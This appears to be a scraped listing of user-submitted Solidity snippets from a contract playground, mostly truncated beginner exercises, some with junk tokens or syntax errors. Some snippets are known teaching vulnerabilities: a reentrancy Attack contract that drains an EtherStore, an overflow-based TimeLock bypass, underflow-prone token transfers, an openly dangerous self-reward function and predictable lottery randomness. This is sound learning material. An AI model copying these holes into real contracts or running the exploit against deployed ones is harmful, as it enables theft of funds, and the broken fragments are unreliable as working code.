    constructor() ERC721Creator("Enumeronomics", "ENU") {}
Sep 01, 2022 03:34:29 UTC
pragma solidity ^0.7.1;

contract PsoukraceFactory {

    struct Psoukrace {

        string name;
        string title;
        uint level;

        uint HP;
        uint defence;
        uint dodge;
        uint luck;
        uint intelligence;
        uint strenghth;
        uint attack;
        uint speed;

    }

    Psoukrace [] public psoukraces;


    function createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
  psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
  return ("test1",
  "test2",
   1,
   2,
   3,
   4,
   5,
   6,
   7,
   8,
   9);
}

/** 

Je reçois une erreur : ParserError: Function, variable, struct or modifier declaration expected.
  --> contracts/Psoukrace.sol:38:2:
  
 1) J'aimerai que la fonction c
Aug 30, 2022 10:19:13 UTC
pragma solidity ^0.7.1;

contract PsoukraceFactory {

    struct Psoukrace {

        string name;
        string title;
        uint level;

        uint HP;
        uint defence;
        uint dodge;
        uint luck;
        uint intelligence;
        uint strenghth;
        uint attack;
        uint speed;

    }

    Psoukrace [] public psoukraces;


    function createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
  psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
  return ("test1",
  "test2",
   1,
   2,
   3,
   4,
   5,
   6,
   7,
   8,
   9);
}

/** A) 

 1) J'aimerai que la fonction createPsoukrace me crée un Psoukrace 
 2) me l'ajoute au tableau avec toutes ses stats 
 3) que je puisse ensuite l'appeller et voir l
Aug 30, 2022 10:16:34 UTC
pragma solidity ^0.7.1;

contract PsoukraceFactory {

    struct Psoukrace {

        string name;
        string title;
        uint level;

        uint HP;
        uint defence;
        uint dodge;
        uint luck;
        uint intelligence;
        uint strenghth;
        uint attack;
        uint speed;

    }

    Psoukrace [] public psoukraces;


    function _createPsoukrace(string memory name, string memory title, uint level, uint HP, uint defence, uint dodge, uint luck, uint intelligence, uint strength, uint attack, uint speed) public returns (string memory, string memory, uint, uint, uint, uint, uint, uint, uint, uint, uint) {
  psoukraces.push(Psoukrace(name, title, level, HP, defence, dodge, luck, intelligence, strength, attack, speed));
  return ("test1",
  "test2",
   1,
   2,
   3,
   4,
   5,
   6,
   7,
   8,
   9);
Aug 30, 2022 10:02:45 UTC
pragma solidity ^0.4.17;
contract Auction {
    
    // Data
    //Structure to hold details of the item
    struct Item {
        uint itemId; // id of the item
        uint[] itemTokens;  //tokens bid in favor of the item
       
    }
    
   //Structure to hold the details of a persons
    struct Person {
        uint remainingTokens; // tokens remaining with bidder
        uint personId; // it serves as tokenId as well
        address addr;//address of the bidder
    }
 
    mapping(address => Person) tokenDetails; //address to person 
    Person [4] bidders;//Array containing 4 person objects
    
    Item [3] public items;//Array containing 3 item objects
    address[3] public winners;//Array for address of winners
    address public beneficiary;//owner of the smart contract
    
    uint bidderCount=0;//counter
    
    //functions

    function Auction() public payable{    //constructor
                
        //Part 1 Task 1. Initialize beneficiary with address of smart contract’s owner
        /
Aug 30, 2022 06:29:49 UTC
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "./SoulSBT.sol";

contract SoulshipFactory {

    struct DeployedContracts {
        address contractAddress;
        address organizationAddress;
        string utility;
        string uri;
        string name;
    }

    struct Organizations {
        address organizationAddress;
        string organizationName;
        string organizationLogo;
    }

    address[] contractAddresses;

    mapping (uint256 => DeployedContracts) public getContractData;

    mapping (address => uint256) public numberOfCollections;

    mapping(address => Organizations) public getOrgData;

    function registration(string memory orgName, string memory logoUri) public returns (bool) {
        require(getOrgData[msg.sender].organizationAddress != msg.sender , "Soul: This organization is already registered.");

        getOrgData[msg.sender] = Organizations({
            organizationAddress: msg.sender,
            organizationName: orgName,
            organizat
Aug 27, 2022 13:41:02 UTC
contract ContractFoo {
  mapping (address=>uint) somemapping; //not accessible unless there is a getter

  function getMapping(address _address) public constant returns (uint) {
    return somemapping[_address[
Aug 25, 2022 20:14:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 23, 2022 22:29:12 UTC
pragma solidity ^0.4.18;
contract example {



}



































//   // boolean : true, false
//   bool b1 = true;

//   // int : integer
//   int i1 = 0;
//   int i2;

//   // uint : unsigned integer
//   uint u1 = 0;

//   // string : similar to bytes
//   string s1 = "abc";



//   // state variable : data permanently stored on the blockchain.
//   int stateVariable = 0;

//   function example() public view returns (address) {
//     // local variable : data that exists only within a function
//     uint localVariable = 0;
//     localVariable += 1;

//     /*
//     global variable : it is data from a blockchain or contract,
//     and can be retrieved from anywhere.
//     */
//     return msg.sender;
//   }












//   // state variable
//   int intExample = 0;

//   /* 
//   example1 is a function to access a state
//   variable and change its value.
//   */
//   function example1() public {
//     intExample = intExample + 1;
//   }

//   /*
//   example2 is a function that re
Aug 23, 2022 05:19:23 UTC
pragma solidity ^0.4.20;
contract identafire{
Aug 22, 2022 12:00:51 UTC
/**
 *Submitted for verification at BscScan.com on 2022-04-10
*/

/**
 *Submitted for verification at BscScan.com on 2022-01-09
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.7;


library Address {
    
    function isContract(address account) internal view returns (bool) {
        
        
        

        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    
    function functionCall(
        address target,
        bytes memory da
Aug 18, 2022 20:44:09 UTC
pragma solidity ^0.4.17;
contract Auction {

// Data
 //Structure to hold details of the item
 struct Item {
 uint itemId; // id of the item
 uint[] itemTokens; //tokens bid in favor of the item

 }

 //Structure to hold the details of a persons
 struct Person {
 uint remainingTokens; // tokens remaining with bidder
 uint personId; // it serves as tokenId as well
 address addr;//address of the bidder
 }
 mapping(address => Person) tokenDetails; //address to person
 Person [4] bidders;//Array containing 4 person objects

 Item [3] public items;//Array containing 3 item objects
 address[3] public winners;//Array for address of winners
 address public beneficiary;//owner of the smart contract

 uint bidderCount=0;//counter

 //functions
 function Auction() public payable{ //constructor

 //Part 1 Task 1. Initialize beneficiary with address of smart contract’sowner
 //Hint. In the constructor,"msg.sender" is the address of the owner.
// ** Start code here. 1 line approximately. **/
 beneficiary = msg.sender;
 /
Aug 18, 2022 18:34:56 UTC
pragma solidity ^0.4.17;
contract Auction {

// Data
 //Structure to hold details of the item
 struct Item {
 uint itemId; // id of the item
 uint[] itemTokens; //tokens bid in favor of the item

 }

 //Structure to hold the details of a persons
 struct Person {
 uint remainingTokens; // tokens remaining with bidder
 uint personId; // it serves as tokenId as well
 address addr;//address of the bidder
 }
 mapping(address => Person) tokenDetails; //address to person
 Person [4] bidders;//Array containing 4 person objects

 Item [3] public items;//Array containing 3 item objects
 address[3] public winners;//Array for address of winners
 address public beneficiary;//owner of the smart contract

 uint bidderCount=0;//counter

 //functions
 function Auction() public payable{ //constructor

 //Part 1 Task 1. Initialize beneficiary with address of smart contract’sowner
 //Hint. In the constructor,"msg.sender" is the address of the owner.
// ** Start code here. 1 line approximately. **/
 beneficiary = msg.sender;
 /
Aug 18, 2022 18:18:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract Ballot {

  struct Voter{
    uint weight;
    bool voted;
    uint8 vote;
  }

  struct Proposal{
    uint voteCount;
  }

  enum Stage(Init,Reg,)

  address chairperson;
  Proposal[] proposals;
  mapping(address => Voter) voters;

  constructor(uint8 _numProposals) public{
    chairperson = msg.sender;
    proposals.length = _numProposals;
    voters[chairperson].weight = 2;
  }

    function giveRightToVote(address voter) external {

        require(
            msg.sender == chairperson,"non sei il chairperson dioporco"
        );
        require(
            !voters[voter].voted,"il votatore ha gia votato, dioporco"
        );
        require(voters[voter].weight == 0);
        voters[voter].weight = 1;
    }

        function vote(uint8 proposal) external {
        Voter storage sender = voters[msg.sender];
        require(sender.weight != 0,"non hai diritto a votare, dioporco");
   
Aug 18, 2022 17:14:48 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  aaa

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 18, 2022 15:54:41 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

  
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

   
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

   
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }
Aug 18, 2022 09:30:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public returns (uint) {
    value = _value;
    _value += 1
    return value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 18, 2022 06:14:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  // Boolean : True, False
  bool a = true;
  bool b = false;

  // int : integer (8bit ~ 256bit)
  int i1; // = int256
  int8 i2;
  int16 i3;
  int32 i4;
  int64 i5;
  int128 i6;
  int256 i7;

  // uint : usigned integer (8bit ~ 256bit)
  uint u1; // = uint256
  uint8 u2;
  uint16 u3;
  uint32 u4;
  uint64 u5;
  uint128 u6;
  uint256 u7;

  // float : can declaration but, can't assignment. (not yet implement)
  fixed f1;

  // address : account's address (20 bytes)
  address a1;

  // bytes : bytes array
  byte 


Aug 18, 2022 04:06:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.22 <0.6.0;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new 
Aug 18, 2022 03:07:03 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Helloworld {
  
  string message = "Hello world!";

  function greeting() public view returns (string) {
    return message;
  } 
Aug 18, 2022 01:56:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
SimpleStore.set(3565);
SimpleStore.get()
Aug 17, 2022 09:57:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  mimimimii
Aug 15, 2022 05:35:24 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient f
Aug 13, 2022 20:40:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 12, 2022 07:32:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 12, 2022 06:07:28 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;

contract Playground {

  function compare(string _s1, string _s2) 
            pure
            public
            returns(bool) {
              bytes memory b1 = bytes(_s1);
              bytes memory b2 = bytes(_s2);
              if (b1.length != b2.length) {
                return false;
              }
              return keccak256(b1) == keccak256(b2);
  }

  function concat(string _s1, string _s2) 
            pure 
            public 
            returns(string) {
              return string(abi.encodePacked(bytes(_s1), bytes(_s2)));
  }

  function strLen(string _str) 
            pure 
            public 
            returns(uint) {
    
    bytes memory b = bytes(_str);
    return (b.length);

  }

  function strReplace(string _from, string _what, string _to)
            pure
            public
            returns(string) {
              bytes memory bfrom = bytes(_from);
              
Aug 08, 2022 21:22:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
dfadf  uint value;
Aug 07, 2022 21:08:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
  do stuff
Aug 06, 2022 22:48:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;

contract Auction {
  address payable owner;
  
  struct item {
    string item_name;
    uint price;
    address payable highest_bidder;
  }

  item public auctioned_item;
  mapping(address => uint) public account_balances;

  modifier ownerOnly() {
    require(msg.sender == owner);
    _;
  }

  constructor() public {
    owner = msg.sender;
  }

  function setAuctionedItem(string memory _item, uint _price) public ownerOnly {
    auctioned_item = item(_item, _price, address(0));
  }

  function finishAuction() public ownerOnly {

  }

  function bid() public payable {

  }

  function withdraw() public {
    owner.transfer(auctioned_item.price);
  }
Aug 03, 2022 09:07:36 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {
    
    uint num1 = 2; 
    uint num2 = 4;
  
   function getResult(
   ) public view returns(
     uint product, uint sum){
       uint num1 = 10;
       uint num2 = 16;
      product = num1 * num2;
      sum = num1 + num2; 
   }

   
Aug 01, 2022 06:29:23 UTC
pragma solidity ^0.4.18;

contract Token {
  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public constant returns (uint balance) {
    return balances[_owner];
  }
}
Jul 28, 2022 00:01:13 UTC
// SPDX-License-Identifier: GPL-3.0-only

pragma solidity 0.6.4;

import "./EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // intialize the etherStore variable with the contract address
  constructor(address _etherStoreAddress) public{
      etherStore = EtherStore(_etherStoreAddress);
  }

  function attackEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      //etherStore.depositFunds{value:1 ether}();
      // start the magic
      etherStore.withdrawFunds(msg.value);
  }

  function collectEther() public {
      payable(msg.sender).transfer(address(this).balance);
  }

  // fallback function - where the magic happens
   receive() payable external {
      if (address(etherStore).balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
Jul 27, 2022 02:18:12 UTC
// SPDX-License-Identifier: GPL-3.0-only

pragma solidity 0.6.4;

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(block.timestamp >= lastWithdrawTime[msg.sender] + 1 weeks);
        (bool success, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(success);
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = block.timestamp;
    }
 
Jul 27, 2022 02:17:28 UTC
Ejemplos de contratos  : 
pragma solidity 0.8.7;
contract VendingMachine {
    // Declarar las variables del estado del contrato
    address public owner;
    mapping (address => uint) public cupcakeBalances;
    // Cuando se implementa el contrato "VendingMachine":
    // 1. configurar la dirección de implantación como el propietario del contrato
    // 2. configurar el saldo de magdalenas del contrato inteligente implementado en 100
    constructor() {
        owner = msg.sender;
        cupcakeBalances[address(this)] = 100;
    }

    // Permitir que el propietario aumente el saldo de magdalenas del contrato inteligente
    function refill(uint amount) public {
        require(msg.sender == owner, "Only the owner can refill.");
        cupcakeBalances[address(this)] += amount;
    }

    // Permitir que cualquier persona compre magdalenas
    function purchase(uint amount) public payable {
        require(msg.value >= amount * 1 ether, "You must pay at least 1 ETH per cupcake");
        require(cupcakeBa
Jul 27, 2022 01:58:57 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SampleOverflow {
     string constant statictext = \"HelloStackOverFlow\";
     bytes32 constant byteText = \"HelloStackOverFlow\";
    function  getString() payable public  returns(string){
        return statictext;
    }

     function  getByte() payable public returns(bytes32){
        return byteText;
    }
Jul 25, 2022 19:40:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(address operator) public {
    value = uint16(uint160(operator));
  }

  function get() public constant returns (int) {
    return value;
  }

  int value;
Jul 25, 2022 17:32:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint tst;
Jul 25, 2022 08:51:17 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

Jul 25, 2022 08:50:26 UTC
pragma solidity 0.4.18;

contract ForceEther {

  bool youWin = false;

  function onlyNonZeroBalance() {
      require(this.balance > 0); 
      youWin = true;
  }
  // throw if any ether is received
  function() payable {
    revert();
  }
         
Jul 20, 2022 11:43:19 UTC
//Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
/* SPDX-License-Identifier: UNLICENSED */
pragma solidity >=0.7.0 <=0.8.0;

// implements the ERC721 standard
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
// keeps track of the number of tokens issued
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// Accessing the Ownable method ensures that only the creator of the smart contract can interact with it
contract METABILDNFT is ERC721, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;
    
    // the name and symbol for the NFT
    constructor() public ERC721("METABILD", "META") {}

    // Create a function to mint/create the NFT
   // receiver takes a type of address. This is the wallet address of the user that should receive the NFT minted using the smart contract
    // tokenURI takes a string that contains metadata about the NFT

    function createNFT(address receiver, string 
Jul 20, 2022 09:09:29 UTC
//SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
 
contract Lottery {
   event TicketPurchased(address who);
   event WinnerPicked(address who, uint256 reward);
  
   uint256 private immutable i_ticketPrice;
   uint256 private immutable i_endTime;
  
   address[] players;
  
   constructor() {
       i_ticketPrice = 1e18; //1000000000000000000 = 1 ETH
       i_endTime = block.timestamp + 180;
   }
 
   function buyTicket() external payable {
       require(block.timestamp <= i_endTime, "Lottery has ended");
       require(msg.value == i_ticketPrice, "Wrong purchase");
      
       players.push(msg.sender);
 
       emit TicketPurchased(msg.sender);
   }
 
   function pickWinner() external {
       require(block.timestamp > i_endTime);
 
       uint256 winnerIndex =  uint256(keccak256(abi.encodePacked(block.timestamp, players.length, block.number))) % players.length;
       address payable winner = payable(players[winnerIndex]);
       uint256 reward = address(this).balance;
 
       (bool sucess, ) = wi
Jul 18, 2022 06:15:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract HelloWorld {

  function sayHello() public pure returns (string) {
    return "HelloWorld..!!";
  }

Jul 18, 2022 00:31:14 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract NFTToken is ERC721URIStorage {

    uint public _tokenIds; 
    
    constructor(string memory TokenName, string memory TokenSymbol) ERC721(TokenName, TokenSymbol) {

    }

    function mintNewToken(string memory tokenURI) public returns (uint256){
        uint256 newItemId = _tokenIds;
        _mint(msg.sender, newItemId);
        _setTokenURI(newItemId, tokenURI);
        _tokenIds++;
        return newItemId;
    }
}

contract NFTTokenFactory {

    struct CreatedContract {
        NFTToken token;
        address creator;
        string symbol;
        string name;
    }

    CreatedContract[] public createdContracts;
    uint public createdContractCount;

    event tokenCreated(address indexed contractAddress, string tokenName, string TokenSymbol);

  
Jul 17, 2022 16:19:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.21 <0.7.0;


contract RewardsWallet {

  function _msgSender() internal view returns (address) {
      return msg.sender;
  }

  function _msgData() internal view returns (bytes) {
      this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
      return msg.data;
  }

  // Proof-of-Concept logic for Trublo
  // Not to be used in production!!!
  mapping (address => uint256) private _reward_balances;
  mapping (address => uint256) private _penalty_balances;

  // Dangerous function, anyone can reward themselves
  // - do not use _msgSender()
  // - make method internal (now public for easy demo purposes)
  function reward(uint256 amount) public returns (bool) {
      // require(recipient != address(0), "ERC20: transfer to the zero address");
      _reward_balances[_msgSender()] = _reward_balances[_msgSender()] + amount;
      // mayb
Jul 16, 2022 13:29:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 15, 2022 09:26:14 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.4.21 <0.7.0;


contract RewardsWallet {

  function _msgSender() internal view returns (address) {
      return msg.sender;
  }

  function _msgData() internal view returns (bytes) {
      this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
      return msg.data;
  }

  // Proof-of-Concept logic for Trublo
  // Not to be used in production!!!
  mapping (address => uint256) private _reward_balances;
  mapping (address => uint256) private _penalty_balances;

  // Dangerous function, anyone can reward themselves
  // - do not use _msgSender()
  // - make method internal (now public for easy demo purposes)
  function reward(uint256 amount) public returns (bool) {
      // require(recipient != address(0), "ERC20: transfer to the zero address");
      _reward_balances[_msgSender()] = _reward_balances[_msgSender()] + amount;
      // mayb
Jul 06, 2022 11:56:18 UTC
/**
 *Submitted for verification at BscScan.com on 2022-05-20
*/

// SPDX-License-Identifier: MIT pragma solidity ^0.8.2; 
pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This valu
Jul 06, 2022 08:13:28 UTC
pragma solidity ^0.5.0;
contract Decentragram {
  string public name;
  uint public questionCount=0;
  uint public modelCount=0;
  mapping(uint => Question) public question;
  mapping(uint => Model) public model;
  mapping(uint => mapping(address => bool)) public voter;
  //mapping(uint => uint) public linkModelQuestion; 


struct Question {
    string text; // for question
    uint id;
    string hash; //for csv file dataset
    address payable author;
  }

  struct Model{
    uint id;
    //uint qId;  
    uint vote;
    string hash;
    string description;
    string quesModelId;
    address payable author;
  }

  event QuestionCreated(
    uint id,
    string hash,
    string text,
    address payable author
  );

  event ModelCreated(
    uint id,
    //uint qId,
    uint vote,
    string hash,
    string description,
    string quesModelId,
    address payable author
  );

  event Voting(
    uint id,
    string hash,
    string description,
    uint vote
  );

  constructor() public {
  name="Decentrag
Jul 05, 2022 18:08:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 04, 2022 12:31:45 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;kill
Jun 28, 2022 23:13:04 UTC
//SPDX-Licence-Identifier: MIT
pragma solidity 0.8.7;

contract Lottery {
    event TicketPurchased(address who);
    event WinnerPicked(address who, uint256 reward);

    uint256 immutable i_ticketPrice;
    uint256 immutable i_startBlock;
    uint256 immutable i_endBlock;

    address[] players;

    constructor(uint256 _ticketPrice, uint256 lotteryDurationInBlocks) {
        i_ticketPrice = _ticketPrice;
        i_startBlock = block.number;
        i_endBlock = block.number + lotteryDurationInBlocks;
    }

    function buyTicket() external payable {
        require(block.number < i_endBlock, "Lottery has ended");
        require(msg.value == i_ticketPrice, "Wrong purchase");

        players.push(msg.sender);

        emit TicketPurchased(msg.sender);
    }

    function pickWinner() external {
        require(block.number > i_endBlock);

        uint256 winnerIndex = uint256(
            keccak256(
                abi.encodePacked(block.timestamp, players.length, block.number)
            )
        ) % p
Jun 28, 2022 08:09:58 UTC

// File: contracts/swap/interfaces/IFluxSwapCallee.sol



//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;

interface IFluxSwapCallee {
    function fluxSwapCall(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external;
}

// File: contracts/swap/interfaces/IERC20.sol



//solhint-disable-next-line compiler-version
pragma solidity >=0.5.0;

interface IERC20 {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
     
Jun 27, 2022 15:47:07 UTC
/**
 *Submitted for verification at BscScan.com on 2021-03-22
*/

/**
 *Website: https://bnbMiner.finance
*/

pragma solidity ^0.4.26; // solhint-disable-line

contract BNBTest{
    //uint256 EGGS_PER_MINERS_PER_SECOND=1;
    uint256 public EGGS_TO_HATCH_1MINERS=2592000;//for final version should be seconds in a day
    uint256 PSN=10000;
    uint256 PSNH=5000;
    bool public initialized=false;
    address public ceoAddress;
    address public ceoAddress2;
    mapping (address => uint256) public hatcheryMiners;
    mapping (address => uint256) public claimedEggs;
    mapping (address => uint256) public lastHatch;
    mapping (address => address) public referrals;
    uint256 public marketEggs;
    constructor() public{
        ceoAddress=msg.sender;
        ceoAddress2=address(0xaA31F5dBaa6f841D494396dde1bCeEeeE912C442);
    }
    function hatchEggs(address ref) public{
        require(initialized);
        if(ref == msg.sender) {
            ref = 0;
        }
        if(referrals[msg.sender]==0 && referral
Jun 27, 2022 06:48:27 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

